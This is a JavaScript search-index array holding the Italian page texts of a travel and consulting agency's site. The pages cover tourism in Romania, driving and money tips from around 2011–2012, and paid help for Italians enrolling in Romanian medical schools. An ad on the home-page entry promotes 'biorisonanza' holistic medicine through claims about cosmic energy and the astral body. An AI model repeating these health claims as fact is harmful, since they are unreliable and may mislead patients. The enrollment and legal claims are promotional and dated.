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sQ1=new Array();sQ1[1]=new Array("","Un portale per viaggiare e conoscere","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Università di Medicina Vacanza originale in Romania Home page  Visitare la Romania Chiesa Santamarie Orlea Chiesa riformata protestante, di Santamarie Orlea, è stata ortodossala, costruita in pietra dalla famiglia Candestilor, alla fine del secolo XIII. L'edificio in stile romanico è ubicato nel comune omonimo di Santamaria-Orlea della provincia di Hunedoara alla distanza di 10 km. dalla storica città di Bretea Romana. Il valore del monumento è accresciuto dall'interno affrescato con pitture tipiche della iconografia ortossa romena. L'abside dell'altare è stata affrescata nell'anno 1447. Nella parete destra all'entrata è stata identificata una scena pittorica dedicata a Santa Elisabeta d'Ungheria figlia di Andrea II d'Unghera. Elementi delle pitture sono visibili dall'esterno della chiesa. Absida altarului a fost pictata dupa anul 1447, Sfintii Apostolii fiind zugraviti cu hrisoave scrise in limba slavona. Asadar aici se intalnesc, intr-o tihnitoare convietuire, literele latine ale pisaniei cu caracterele chirilice ale filacterelor apostolilor. La chiesa è visitabile. Si raggiunge lasciando la città di Petrosani (città del romano Petronio) e dirigendosi verso Hateg, la incontriamo sulla destra.     Iscrizioni di studenti nelle Università di Medicina in Romania Per gli stranieri (italiani) che si iscrivono nella Università di Medicina in Romania a Cluj-Napoca e che seguono i corsi in lingua inglese e francese non c'è l'esame di ammissione (test di ammissione), bastano gli attestti di conoscenza [...]     Servizi e consulenze Università in Romania - Notizie  Proposte turistiche Una vacanza originale - Arsenal Park Resort  Per sapere Resta forte il senso di appartenenza a un &quot;gruppo privilegiato&quot; che in Italia non esiste più. In Romania gli insegnanti entrano ancora da porte separate da quelle degli studenti, non per una questione logistica, ma per appartenza; e ancora ...... nessun studente, in Romania si permetterà di alzarsi per dire: &quot;.....professore non sono daccordo con lei su quello che dice .... (o afferma), poichè dalle mie ricerche emerge questo......&quot; Questo avviene nella scuola romena oggi! Lingua rumena o romena, in italiano hanno lo stesso significato e ambedue i nomi sono corretti. N.B. Per un apprendimento metodico della lingua Vi consigliamo di stampare le lezioni e di studiarle bene memorizzando frasi e lessico. Mentalmente costruitevi delle frasi con le parole che usate abitualmente nel vostro liguaggio. &#200 necessario un dizionario tascabile da portare con voi.  Spazi liberi per la vostra pubblicità Studio Medico Olobiomed Centro di Medicina Olistica di Biorisonanza Cellulare Ologrammatica Digitale - Laser Agopuntura - Terapia di Biorisonanza. Energia vitale che prende il nome di ENERGIA COSMICA o CORPO ASTRALE ed è proprio questa energia che penetrando attraverso i centri energetici vitali prende contatto con il sistema Neurovegetativo www.olobiomed.it Gargano Traslochi Traslochi di abitazioni e uffici con professionalità e cura. Deposito mobili e merci. Soluzioni personalizzate per ciascun cliente. Accurata movimentazione dei vostri mobili. www.garganotraslochi.it Vacanza al mare Affitta la tua casa al mare ad Albarella Arcadia Immobiliare sceglierà con te la residenza, con cortesia e professionalità ti aiuta a scegliere la casa per le tue vacanze nell'Isola di Albarella. Tel (+039) 0426 330143 www.arcadiaimmobiliare.biz    Alto    Stampa Gargano Traslochi - Italia e Europa con noi per spostare i tuoi mobili e il tuo ufficio. www.garganotraslochi.it Di Bari Agricoltura a Manfredonia (Foggia) - Forniture e macchine per l'agricoltura. www.dibariagricoltura.it Noleggio autobus e minibus per tutte le destinazioni. Vedi le offerte Autobus in Romania per tutte le destinazioni. Orari e coincidenze. www.autogari.ro/ | Gargano Viaggi |");sQ1[2]=new Array("informazioni.html","Informazioni","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Informazioni Università Scelta di una sede universitaria Titoli di studio ottenuti all'estero Dichiarazione di valore Università di Medicina in Romania Amministrazione e Impresa Protesi dentarie in Romania Investimento Immobiliare in Romania Viaggiare in Romania - Quanto denaro portare con noi In Romania la moneta corrente è il Ron (Lei nuovo) il cui valore aggiornato al 18/01/2012 è di circa 434 Lei per ogni 100 Euro. Il cambio si effettua in tutte le banche e presso tutti gli sportelli autorizzati (per la transazione non [...]  Viaggiare con l'automobile in Romania Per gustare le bellezze della Romania bisogna andare con l'automobile girare con i mezzi pubblici, anche se poco costoso è lungo e dispendioso in tempo. Le strade in Romania sono tante e quasi tutte a viabilità [...] Romania e sviluppo economico La Romania è un paese che offre molte possibilità di carattere economico per gli italiani che vogliono investirvi dei capitali. Questo paese centro europeo di recente membro della dell'UE il 1 gennaio 2007, ha regolato la propria economia [...] Home page / Informazioni  Informazioni Questa pagina raccoglie le informazioni e le attività proposte da Gargano Viaggi Mettiamo a vostra disposizione una serie di servizi che potrai fruire semplicemente con una telefonata o una mail. Vi offriamo il nostro contributo di idee, la nostra esperienza e la professionalità necessaria, per costruire un sistema di relazioni e di iniziative rivolte alle persone e alle aziende nei campi della scuola e della impresa produttiva, nonché per le vostre richieste turistiche. Vi offriamo consulenza per: Scuola e Università Indicazioni per una scelta oculata della propria sede di studio. Iscrizioni alle Facoltà di Medicina della Romania e Repubblica Moldova Indicazioni e consulenza nei processi di scelta della sede universitaria. Corsi di lingua romena nel Paese.  Amministrazione e impresa Consulenza professionale nel settore amministrativo romeno Specifiche indicazioni di carattere commerciale per le imprese che vogliono avviarsi e iniziare delle attività nel campo della ristorazione, Hotel, turismo e ospitalità, in Romania (regione della Transilvania e Oltenia) Per chi vuole iniziare o rilevare una attività alberghiera in Romania, forniamo una gamma di servizi utili all'inizio dell'attività e al buon fine dell'investimento finanziario, avvalendoci di consulenti di consolidata professionalità. Allo scopo vi aiutiamo nei processi esplorativi per meglio conoscere le occasioni commerciali presenti al momento. Consulenza professionale Amministrazione e Impresa  Investimento immobiliare I servizi che vi offriamo: Indicazioni nominative di operatori del settore, seri e affidabili, nonché nominativi di geometri, architetti, avvocati e notai nella regione. Collaboriamo personalmente alla valutazione gratuita degli immobili. Vi assistiamo personalmente, dalla scelta iniziale dell’immobile fino al rogito notarile. Potete affittare terreni e comprare case in legno in stile tradizionale, in zona rurale, con terreno adiacente. Investire in Romania nel campo immobiliare. Volete investire il vostro denaro in beni immobili in Romania, contattateci: Tel/Phone: (+39) 0426 330701   Mobil: (+39) 340 3128295 E-Mail: info@garganoviaggi.com  Protesi dentarie fisse o mobili Da anni collaboriamo con gli Studi Dentistici della Romania (Cluj-Napoca e Bucarest) e della repubblica Moldova (Chisinau) per le vostre cure dentali e protesi. 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Aereo Treno Autobus Automobile Cure dentali e protesi, contattateci: Tel/Phone: (+39) 0426 330701   Mobil: (+39) 340 3128295 E-Mail: info@garganoviaggi.com  Traduzioni e autentiche Siamo in grado di fare tradurre da traduttori accreditati e riconosciuti, tutti i documenti redatti in lingua italiana e nelle lingue europee; presentiamo ai notai la vostra documentazione per autenticarne gli originali e le copie a un prezzo veramente conveniente.  Vuoi iscriverti in una Università Ronema? Chiamaci. Sarai aiutato per tutto il tempo che lo chiederai. Ci occupiamo se lo desideri, dopo un anno scolastico completo, di preparare tutti documenti per il trasferimento in una università italiana. Contattateci per avere maggiori informazioni: Tel/Phone: (+39) 0426 330701   (+39) 340 3128295 E-Mail: info@garganoviaggi.com  Tutela della privacy: I dati personali e il Curricolo di studio degli studenti, che raccogliamo temporaneamente, saranno trattati come regola il Garante della Privacy, in applicazione della legge italiana n.675 del 31 dicembre 1996 e quella della Repubblica di Romania Legii nr. 677/2001. I CITTADINI DELL'UNIONE EUROPEA E DELLA SVIZZERA NON HANNO BISOGNO DEL VISTO IN ROMANIA E REPUBBLICA MOLDOVA.  Ringraziamento Ioana Neghina (Angela) di Motru (Romania), nostra collaboratrice, ci ha lasciato per ragioni di lavoro spostandosi in un'altra città. Ringraziamo Angela per l'icoraggiamento e l'aiuto che ci ha dato in tutto questo tempo. Ci ha fatto conoscere e amare la Romania, la sua lingua e la sua cultura. La sua preparazione e la sua esperienza ci hanno accompagnato nelle scelte per una impaginazione del sito utile ai turisti che vogliono recarsi in Romania. Ioana Neghina ( Angela ) din Motru (Romania ), o colaboratoare de-a noastra, a plecat în alt oras din motiv de lucru. Îi multumim Angelei pentru sprijinul si ajutorul oferit în acest rastimp. Ne-a facut sa cunoastem Romania, sa îndragim limba, obiceiurile si traditiile din tara ei. Pergatirea ei la nivel înalt pe plan cultutral ne-a ajutat sa lasam o imagine impresionanta pentru turistii care doresc sa plece în Romania.  Alto    Stampa Autobus in Romania per tutte le destinazioni. Orari e coincidenze. www.autogari.ro/ Usare gli autobus in Romania: Chi vuole usare gli autobus per recarsi nelle varie località della Romania legga le nostre informazioni. Per chi giunge a Bucarest in aereo: una volta giunti in aeroporto Bucarest Otopeni oppure Bucarest Baneasa, passato il controllo [...] | Gargano Viaggi |");sQ1[3]=new Array("universita_medicina.html","Università di Medicina in Romania","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Informazioni Università della Romania Università Medicina Cluj-Napoca Categorie professionali paramediche Home page / Università Romania / Università di Medicina  Università di Medicina in Romania Facoltà di Medicina Le sedi universitarie della Facoltà di Medicina in Romania sono molte e tutte hanno uno standard elevato. L'aspirazione di tutte le più rinomate sedi, è quella di raggiungere gli standard qualitativi delle grandi università mediche mondiali e proporre al mercato del lavoro del XXI° secolo, medici che sono anche veri professionisti, in grado di lavorare in ogni parte del mondo, con chiunque, e capaci di esprimersi nelle lingue internazionali. Le Università che abbiamo visto, ampliano e arricchiscono l’offerta formativa continuamente, adeguando progressivamente il loro percorso didattico alle innovazioni che scaturiscono dalla ricerca mondiale nel campo medico. La docenza viene individuata e selezionata a livello europeo, con criteri che tengono conto delle esperienze scientifiche, accademiche e di ricerca professionale secondo gli standard ormai consolidati e applicati nelle università mondiali di eccellenza. Contattateci per avere informazioni: Tel/Phone: (+39) 0426 330701   cell (+39) 340 3128295 E-Mail: info@garganoviaggi.com  Università Statale di Medicina «Iuliu Hatieganu» di Cluj-Napoca (UMF Cluj-Napoca) E' una Università rinomata in tutta la Romania e l'Europa per la qualità del suo insegnamento. Fondata nel 1872 dall'Imperatore Francesco Giuseppe d'Austia e inaugurata nel 1919. Nominato Rettore il dr. Iuliu Hatieganu (a cui è intitolato l'istituto), rivoluzionò il modo di insegnare la medicina introducendo l'obbligatorietà dell'insegnamento in lingua romena e adottando le tecniche moderne e efficaci che lui stesso aveva appreso anni prima, dai luminari tedeschi del tempo. L'Università nata come Istituto di Medicina e Farmacia nel 1990, diviene Università a tutti gli effetti, con autonomia amministrativa e didattica, assumendo la denominazione di Università di Medicina e Farmacia «Iuliu Hatieganu»; la qualità della didattica la buona amministrazione hanno portato la Facoltà a moltiplicare i tipi di insegnamento introducendo Stomatologia, Igiene e Pediatria nonchè le lauree triennali per la formazione delle categorie professionali paramediche.  I corsi dell'Università «Iuliu Hatieganu» Facoltà di Medicina Odontoiatria Farmacia Medicina – Corso di Laurea - 12 semestri (6 anni) con 360 crediti Ostetrica - Corso di Laurea - 8 semestri (4 anni) con 240 crediti Assistente medico - Corso di Laurea - 6 semestri (3 anni) con 180 crediti Medico Dentista – Corso di Laurea - 12 semestri (6 anni) con 360 crediti Farmacia - Corso di Laurea - 10 semestri (5 anni) con 300 crediti  Università Statale di Medicina «Iuliu Hatieganu» (UMF Cluj-Napoca) - Test di ammissione I manuali dell'Università di Medicina di Cluj per i test di ammissione. Chimica Organica e Biologia SE VUOI SARAI MEDICO! Vuoi fare MEDICINA e ti prepari ai test di ammissione. Lavorare con impegno non basta: i corsi a numero programmato per le professioni sanitarie è avvilente e non c'è speranza per coloro che ambiscono a diventare medici. Sei intelligente, preparato, e ottimista ma non sei fortunato: non passi ai test di ingresso a medicina! Ti proponi di ritentare l'anno prossimo. Forse sarai ammesso e risolverai i tuoi problemi. Chiamaci e ti aiuteremo a diventare studente di Medicina in Romania. Severino Tognoni è a Vostra disposizione per tutte quelle informazioni di carattere pratico per l'iscrizione alla Facoltà di Medicina in Romania, per l'anno prossimo: Tel/Phone: (+39) 0426 330701 cell (+39) 340 3128295 E-Mail:   Alto    Stampa | Gargano Viaggi |");sQ1[4]=new Array("romania.html","Romania","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Romania Turismo in Romania Università in Romania Quanto denaro portare in viaggio Con l'automobile in Romania Protesi dentarie in Romania Investimento immobiliare in Romania Home page / Romania  Romania La Romania Stato d'Europa La Romania è una nazione moderna che è entrata a pieno titolo nella comunità dell'Europa unita. Il Paese si sta muovendo verso una integrazione completa con l'Europa, cercando di adeguare la sua struttura al nuovo status di membro della EU. Un grande sforzo stanno facendo tutte le amministrazioni per adeguarsi alle nuove esigenze con particolare attenzione a rendere compatibili con le normative europee, tutte le leggi e gli atti prodotti dalle varie amministrazioni. Abbiamo notato nel nostro girovagare per la Romania, a contatto con uffici e enti, una grande disponibilità per una integrazione europea effettiva: i romeni ci sembrano veramente i più europeisti fra gli europeisti! Detto questo, fare turismo in Romania è bello e interessante. Viaggiare in Romania - Quanto denaro portare con noi In Romania la moneta corrente è il Ron (Lei nuovo) il cui valore aggiornato al 25/02/2011 è di circa 420 Lei per ogni 100 Euro. Il cambio si effettua in tutte le banche e presso tutti gli sportelli autorizzati (per la transazione non si paga commissione e viene sempre rilasciata una ricevuta). Sconsigliamo vivamente di cambiare denaro per strada con persone sconosciute, oltre ad essere vietato dalla legge non è assolutamente sicuro. E' possibile portare con se tutto il denaro contante che ci necessita per la vacanza o per la permanenza temporanea in Romania, allo scopo consigliamo: Non portare con sè solo denaro contante ma anche una Carta di Credito e/o traveller's cheques. Per vostra sicurezza consigliamo di non esibire sfacciatamente il denaro o fasci di banconote, la cosa potrebbe invogliare i malintenzionati di strada a tentare di strapparvi di mano il denaro. In Romania si gira con una certa tranquillità, solo le grandi città possono riservare sorprese; sia di giorno che di notte si può essere relativamnte sicuri. In Romania la polizia è poco visibile (a parte quella stradale) ma sempre presente; il loro intervento su chiamata è rapido e efficiente. La legge penale in questo Paese è molto severa e non fa sconti: in sostanza vige una cultura della severità applicata efficacemente. La carta Bancomat (carte di debito) viene accettata ovunque e il prelievo di denaro agli sportelli automatici delle banche è facile e si ottiene denaro solo in valuta locale. Alcuni sportelli automatici cambiano le Euro banconote in moneta locale al cambio del giorno. A nostro avviso la Carta di Credito resta il miglio mezzo di pagamento, sicuro e accettato ovunque. Esistono servizi che possono essere acquistati solo con carta di credito (a garanzia) e sono pricipalmente: prenotazioni alberghiere e noleggio auto. Chi non vuole usare la Carta di Credito personale alla quale è stato assegnato dalla Banca un &quot;limite di utilizzo&quot; alto, può acquistare presso la propria filiale bancaria una Carta di Credito ricaricabile ovvero una carta che una volta caricata con l'importo desiderato, si può utilizzare come una normale carta di credito per gli acquisti e il ritiro di contante in totale sicurezza. Annotate i numeri per il blocco delle carte di credito smarrite o rubate: American Express (+39) 06.72.900.347 Diners 800.86.40.64 CartaSi (+39) 02-3498.0020 e Banca Intesa 800.15.16.16 (+39) 02.4832.2222 Banca Fineco 800 525.252 (+39) 02.2899.2899 Barclaycard 800 914.639 Prendete l'abitudine di pagare ovunque con Carta di Credito. I negozi abilitati sono moltissimi e quasi tutti gli hotel e benzinai dove si può acquistare la Roviniete.ro che è la tassa di circolazione che si paga entrando in Romania e ti autorizza a utilizzare la rete stradale pubblica (costa circa 7 Euro/mese oppure 13 Euro tre mesi). Ancora sulle carte di credito assicuratevi che la vostra sia provvista di banda magnetica poiché quelle con il solo chip di sicurezza non vengono lette. I Traveller's Cheques sono assegni emessi dalla banca in moneta estera, che possono essere cambiati in moneta contante solo presso gli istituti di credito. Gli assegni non utilizzati possono essere rimborsati. In caso di emergenza potete ricevere del denaro contante in tempo reale, con il sistema del MONEY TRANSFER; Il sistema è molto utilizzato è ha sempre dato prova di praticità e sicurezza. Viaggiare con l'automobile in Romania Per gustare le bellezze della Romania bisogna andare con l'automobile girare con i mezzi pubblici, anche se poco costoso è lungo e dispendioso in tempo. Le strade in Romania sono tante e quasi tutte a viabilità ordinaria a due corsie, mentre sono scarse e limitate alla regione della capitale Bucarest, le autostrade. La grande viabilità, quella che collega fra di loro le grandi città del paese, si può definire percorribile ed è generalmente buona; come pure buone sono le indicazioni e la segnaletica. Il più delle volte manca la segnaletica di riconferma del limite di velocità che generalmente sono i 50 all'ora; alcune eccezioni portano la velocità da tenere a trenta km ora. Troviamo spesso sulle grandi arterie la velocità limitata a settanta per ragioni di sicurezza. Il concetto di città come è quello nostro, con centri abitati ben definiti, non si può applicare alle agglomerazioni urbane della Romania. Si esce da una città con i &quot;blok&quot; e le case a più piani per percorrere una decina di chilometri di strada con casette sui lati, distanziate fra loro, anche di 100 metri. Dalla nostra esperienza vi diamo alcune indicazioni. Rispettate i limiti di velocità, in Romania sono molto severi sull'argomento. Non è facile indiviaduare dove realmente esiste il limite di 90 all'ora: in alcune strade il centro abitato e talmente esteso che non si vede esattamente dove finisce. Ci accorgiamo della cosa cioè di essere effettivamente usciti dall'abitato, dal rarefarsi delle case (tradizionali in legno oppure in muratura, di nuova costruzione a un piano a guisa di villetta). Orbene, in Italia siamo abituati a incappare nella multa dell'autovelox oppure alla contestazione dell'infrazione fatta dalla polizia, con l'apparecchio di rilevanto su cavalletto al loro fianco. Non è così in Romania. Tutte le auto della Stradale, e pensiamo anche le auto della Polizia urbana, hanno l'apparecchio rilevatore radar della velocità sul cruscotto con schermo a cifre digitali, illuminate di rosso. Da quì potete dedurre che c'è un controllo severo della velocità, una severità eccessiva poichè si può venir fermati per una velocità di 65 km ora su una strada che sembra perfettamente fuori dal centro abiatato. L'auto della polizia che percorre la strada in senso contrario, può rilevare la variazione ai limiti e fermarti con il lampeggiare dei fari abbaglianti e le luci blu sul tetto e persino la sirena. Una volta fermati ci sono due possibili vie: una è quella della multa redatta immediatamente e da pagare in banca, negli uffici postali oppure nella sede comunale alla quale la polizia appartiene (cifra attorno ai 100 Euro), la seconda è quella dell'AVERTISMENT, che consiste nella verbalizzazione dell'infrazione a cui non si da seguito con l'ammenda pecuniaria, ma si dà solo l'avvertimento a non fare più l'infrazione. Questo documento viene annotato in un particolare database con le informazioni di polizia, che sarà consultato al prossimo controllo stradale. Da notare che le multe che si possono prendere in città con il meteodo del foglietto sul parabrezza non rimane fine a se stesso ma viene annotato su questo particolare archivio che viene consultato dalle guardie di frontiera, lasciando il paese con l'auto. Assicuratevi di aver pagato le multe che vi sono state comminate per le infrazioni stradali, un controllo sul libretto di circolazione è quasi certo all'uscita dal paese. In auto non si può guidare dopo aver bevuto.... anche una birra. Il controllo che la polizia fa sulla strada con il &quot;palloncino&quot; è severissimo: non esiste &quot;il minimo ammesso&quot;, NIENTE ALCOL in assoluto! C'è anche l'arresto per il tasso di alcolemia alto. Tornando alla viabilità e alle vie di comunicazione esistenti nel paese, bisogna dire che il miglioramanto che si è avuto in questi ultini 6 anni è evidente, dovuto probabilmente alle modifiche amministrative adottate dal Governo in materia di programmazione, progettazione e manutenzione delle strade. Le strade principali ricevono una buona manutenzione, non è così invece, per le strade vicinali (o carreggiabili) e quelle campestri per le quali non è prevista alcuna manutenzione e dunque sono disastrose. A bordo della macchina bisogna avere, oltre al libretto e alla Carta Verde: Il triangolo rosso Estintore Cassetta pronto soccorso Uno o due giubbottini rinfrangenti Ruota di scorta in perfette condizioni e gonfia In inverno consigliamo vivamente di tenere le catene a bordo e di montare sempre pneumatici da neve. Quando nevica in Romania, per almeno un giorno non si circola. Se vi trovate per strada durante una forte nevicata, (che riconoscete subito poichè in mezz'ora fa uno strato di almeno 5 centimetri), cercatevi subito un piccolo alberghetto e pernottate. E' meglio fermarsi volontariamente che forzatamente, a causa della perturbazione che vi può bloccare 15 chilometri più il là. Noterete che in Romania la solidarietà fra gli automobilisti è forte: molti automobilisti e camionisti che vi incrociano vi fanno segno con i fari. Tenetene conto, il 90 per cento delle volte vi preannunciano la presenza di una pattuglia della Polizia Stradale. Il caso di controllo mostratevi disponibili e non perdete mai la calma. Essere in regola è la prima delle regole! La polizia romena con noi italiani è sempre stata gentile e quando scopre la nostra nazionalità dai documenti, ci dispensa sorrisi e parole italiane. Per la cronaca, nei tre anni di permanenza, e dopo aver girato il paese in lungo e in largo, abbiamo avuto un solo &quot;avertisment&quot; e una multa per divieto di sosta. Attenzione al tentativo di corruzione degli agenti: la cosa può costarvi molto cara. Se avete questa abitudine perdetela perchè la cosa non aiuta la funzione pubblica e non aiuta il Paese. In caso di guasto all'automobile troverete molta disponibilità e professionalità: le riparazioni sono fatte bene e costano poco. L'acquisto dei pezzi di ricambio di ogni marca è facile presso i ricambisti, e vi perviene puntualmente il giorno dopo. I CITTADINI DELL'UNIONE EUROPEA E DELLA SVIZZERA NON HANNO BISOGNO DEL VISTO IN ROMANIA E REPUBBLICA MOLDOVA.  A zonzo per la Romania La città di Motru Distretto di Gorj Nell'antica regione dell'Oltenia. Già insediamento romano chiamato Ad Mutriam. Nella foto: Palazzo del Municipio di Motru. Moderna architettura situata in un grande spazio verde a due passi dalla nuova chiesa Ortodossa.  Gli amici di Motru Quì di seguito gli amici che abitano la Città di Motru e che lavorano in Italia Eugenia Corina Golea per il corso di lingua romena ad Albarella vicino Venezia   Alto    Stampa | Gargano Viaggi |");sQ1[5]=new Array("contattaci.html","Contattare Gargano Viaggi","","Home Page Informazioni Università di Medicina Romania Contattaci Contattaci Home page / Contattaci  Se volete contattarci Il nostro indirizzo: Gargano Viaggi Via Pò di levante, 4 - Porto Turistico di Albarella 45010 Rosolina (Rovigo) Tel: (+39) 0426 330701 Cell/Mobile 340 3128295 info@garganoviaggi.com Se volete contattarci utilizzando il Form predisposto, compilate i campi sottostanti con i Vostri dati e sarete richiamati al più presto. NB: I campi contrassegnati con * l'asterisco sono obbligatori.      Alto    | Gargano Viaggi |");sQ1[6]=new Array("universita.html","Università in Romania","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Università della Romania Professioni certificate dalle lauree e diplomi Titoli di studio ottenuti all'estero Dichiarazione di valore Università di Medicina in Romania Home page / Università Romania  Università della Romania Studiare in Romania Le Università, gli Istituti scolastici e le scuole in Romania, sono in generale di buona qualità. Nei venti anni dalla caduta del Comunismo, l'Università ha fatto passi da gigante adeguandosi allo standard europeo. Molti docenti della vecchia guardia, ideologizzati e legati a schemi rigidi di &quot;condotta culturale&quot;, sono ormai in pensione e fanno parte della storia, coloro che sono rimasti sono i giovani laureati di 20 anni fa, sono ora la nuova classe insegnante. Contattateci per avere informazioni: Tel/Phone: (+39) 0426 330701   (+39) 340 3128295 E-Mail: info@garganoviaggi.com  Università di Ingegneria Meccanica a Petrosani. Molto buono è il prestigio che riscuote questa università, e buone sono le intelligenze che vi lavorano.  Professioni certificate dalle lauree e dai diplomi. Tutti i cittadini europei possono risiedere in qualsiasi paese dell'Unione ed esercitare liberamente qualsiasi professione. Tutti i cittadini dell'Unione europea e dello Spazio economico europeo non hanno bisogno di visto ne di permesso di lavoro e possono esercitare tutte le professioni. Le abilitazioni alle professioni certificate dalle lauree o dai diplomi permettono di esercitare la vostra professione in tutti gli Stati europei, ma non sempre questi hanno, per la stessa professione ugual ordinamento. Nel caso non ci siano accordi comunitari sui diplomi che abilitano sarà necessario ottenere un riconoscimento del titolo rivolgendo domanda all'autorità competente del Paese.  Per gli studenti &quot;stranieri&quot; (comunitari) Per gli stranieri (italiani) che si iscrivono nella Università di Cluj-Napoca e che seguono i corsi in lingua inglese e francese non c'è l'esame di ammissione (test di ammissione), bastano gli attestti di conoscenza della lingua scelta. Da quest'anno alla iscrizione seguirà un esame scritto e orale di conoscenza della lingua inglese. Coloro che sono già in possesso di cerficati degli Istituti accreditati, che attestano tale conoscenza possono bypassare detto esame. Per gli stranieri che scelgono di seguire i corsi in lingua romena sono previsti i test di ammissione. Per frequentare in Romania è necessaria una iscrizione con lapossibilità di vedere riconosciuti gli eventuali esami già sostenuti in Italia purchè compatibili con il piano di studi. Alcune università hanno delle date di iscrizione diverse da quelle generalmente applicate, dunque è possibile una iscrizione &quot;fuori tempo massimo&quot;. Presentare la documentazione del candidato studente non è difficile è solo laboriosa, siamo in un paese ormai libero ma che nel suo apparato burocratico è rimasto fondamentalmente &quot;chiuso&quot;, alla vecchia maniera. Per tutte le università, qualunque sia la sua scelta, esiste l'obbligo di frequenza per tutte le materie. Gli esami possono essere scritti e orali e alcune discipline li hanno ambedue. Il corso in inglese in Romania è decisamente più semplice NON QUALITATIVAMENTE INFERIORE. Gli studenti italiani si preparino a delle tasse maggiorate rispetto alla norma romena. Le tasse sono di circa 5.000 euro annuali. Gli esami hanno date fisse per il &quot;gruppo&quot; di studio al quale appartenete, date che stabiliscono i professori. La lingua del corso è quella scelta fra le tre proposte; se sceglie il romeno si prepari per un corso accelerato di serio apprendimento. I titoli rilasciati dalla Romania Paese Europeo, sono tutti validi e riconosciuti automaticamente in Italia, bisogna presentare la documentazione del titolo conseguito regolarmente vistato dalle autorità Consolari italiane ... (attenzione, ho semplificato per capirci). Per il trasferimento di sede: da università a università fra stati della Comunità Europea, valgono le regole della reciprocità e del reciproco riconoscimento. Ci si può trasferire da Milano a Messina e con gli stessi diritti e procedure fra Cluj-Napoca (Romania) e Milano (es.). Le Università romene non lasciano partire volentieri gli studenti, pertanto è consigliabile preparsi a tempo con una documentazione formalmente perfetta per evitare intoppi di percorso e ostruzionismi anche da parte delle università italiane. Consulenza per: Scegliere la facoltà (quando si ha bene chiaro cosa si vuol fare) in una Università Privata o Pubblica, ambedue di valore, in Romania. Tutte sono private poichè tutte si autofinanziano, e tutte sono statali perchè accreditate e rispondenti ai requisiti richiesti per l'insegnamento pubblico; alcune unif sono private nel senso nostro, perche appartenenti a enti o fondazioni private che le amministrano. Preparare la documentazione per le iscrizioni. Traduzioni e copie autenticate. Dare consigli per una iscrizione con maggiore speranza di successo. Consigli comportamentali. Consigli per una residenza adeguata. Corsi qualitativi di lingua romena con insegnanti laureati. Presentare le documentazioni relative alle iscrizioni presso le segreterie. Documenti Necessari per l'iscrizione: Passaporto focopie pag. 1 2 3 4 Certificato medico di sana e robusta costituzione Diploma di maturità Pagella ultimo anno con i voti riportati Pagella dei cinque anni di liceo (certificato) Certificato di nascita per estaratto Moduli ministeriali e curriculum scolastico Certificato di conoscenza della lingua scelta per il percorso di studio Inoltre si possono allegare tutti quei certificati che attestano la frequenza a corsi o stages di formazione n. 6 Foto formato tessera Severino Tognoni tel mobile (+39) 3403128295  Alto    Stampa Noleggio autobus e minibus per tutte le destinazioni. Vedi le offerte Autobus in Romania per tutte le destinazioni. Orari e coincidenze. www.autogari.ro/ | Gargano Viaggi |");sQ1[7]=new Array("arsenal.html","Arsenal Park Resort - Una proposta per una vacanza diversa e originale","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Romania Turismo in Romania Arsenal Park Home page / Romania / Turismo in Romania / Arsenal Park  Arsenal Park Resort In Transilvania un Resort per un soggiorno inconsueto: &quot;Soldati di Vacanza&quot; ARSENAL PARK ha creato una nuova forma di vita militare: &quot;Soldati di Vacanza&quot;. Nel perimetro di una base militare nella città di Orastie. L'ambiente è quello della vita militare, conservando lo spirito giovanile, cameratesco e l'atmosfera di caserma ..... senza essere di corvee, senza gli attesi o temuti segnali di tromba. Distrazione e divertimento, sport e addestramento, ecco cosa ci unisce Una idea per una vacanza originale nell'Europa dei nostri giorni. Un soggiorno che vi darà emozioni, avventura e divertimento. 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Alto    Stampa | Gargano Viaggi |");sQ1[8]=new Array("http://www.garganotraslochi.it/","Gargano Traslochi Manfredonia","Gargano Traslochi per il vostro trasloco: Per portare i vostri mobili in Puglia e in tutta Italia. Traslocate con noi e riceverete sicurezza e precisione.","Chi siamo Contattaci   Nel Mondo con Gargano Traslochi HOME PAGE Per Contattarci Tel/Fax (+ 39)0884 513685 Tel. abit. 0884 530853 Cell: 345 4216596 E-mail: micheledelnobile@libero.it Per trasferire la tua mobilia in tutto il mondo Trasferimenti e cambiamenti a domicilio, assistenza anche post-traslochi da e per tutte le località. Puoi scegliere se effettuare traslochi chiavi in mano o anche piccoli lavoretti, trasporti di mobili, smontaggio e rimontaggio con imballaggio completo. Bastoni per tende, lampadari e plafoniere, fornitura di scatole e di tutto il materiale indispensabile ed occorrente, per imballaggi di casalinghi, modifiche in genere. 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Vi offriamo il nostro contributo di idee per il mondo degli studi universitari. Premesso che: In Italia le facoltà a numero chiuso, a cui si accede solo se si superano i test di ingresso, sono: medicina, veterinaria, odontoiatria, architettura, scienza della formazione. Ogni singola facoltà può in completa autonomia istituire un numero programmato di accesso ai corsi o alle specializzazioni: in primis per garantire sia gli standard qualitativi che si prefigge con la sua offerta formativa, sia per evitare il sovraffollamento di quei laboratori, previsti nel percorso di studio, con caratteristiche di alta specializzazione. In questo momento il trend correttivo per l'accesso allo studio universitario, (programmazione ministeriale), è quello di aumentare le facoltà a numero programmato, e ad un inasprimento delle prove di idoneità. Continuando, c'è una moltiplicazione delle regolamentazioni interne alle Università anche per le lauree di specializzazione, che selezionano l'accesso basandosi sul voto di laurea oppure del tipo di crediti conseguiti. Una delle soluzioni può essere la frequenza di un corso di studi universitario all'estero, in Romania oppure in Repubblica Moldova Iscrizioni per tutte le facoltà Avvalendoci di personale esterno altamente qualificato in Romania diamo le informazioni su come gestire al meglio le iscrizioni nelle Università romene. Non ci sono più i test di ammissione ai corsi, per i candidati stranieri. Per i corsi di Medicina Generale, Odontoiatria, e farmacia è possibile seguire i corsi il lingua romena, francese e inglese. Per tutti gli altri percorsi di studio (paramedici) è prevista la sola lingua romena. Solo per i corsi di medicina in lingua diversa dal romeno, e per facilitare il momento comunicativo con i pazienti, a partire dal quarto anno gli stage clinici, si svolgono solamente in lingua romena. Sono ormai tre anni che presentiamo alle segreterie delle università romene e Moldave le candidature per le ammissione ai corsi di medicina generale e Odontoiatria. Conosciamo bene le procedure e prepariamo al meglio tutte le documentazioni regolarmente tradotte.Le documentazioni incomplete per indisponibilità provvisoria di alcuni certificati, vengono integrati successivamente nei tempi e nella forme previste. Consigliamo secondo l'andamento delle iscrizioni, i migliori corsi per avere una altissima 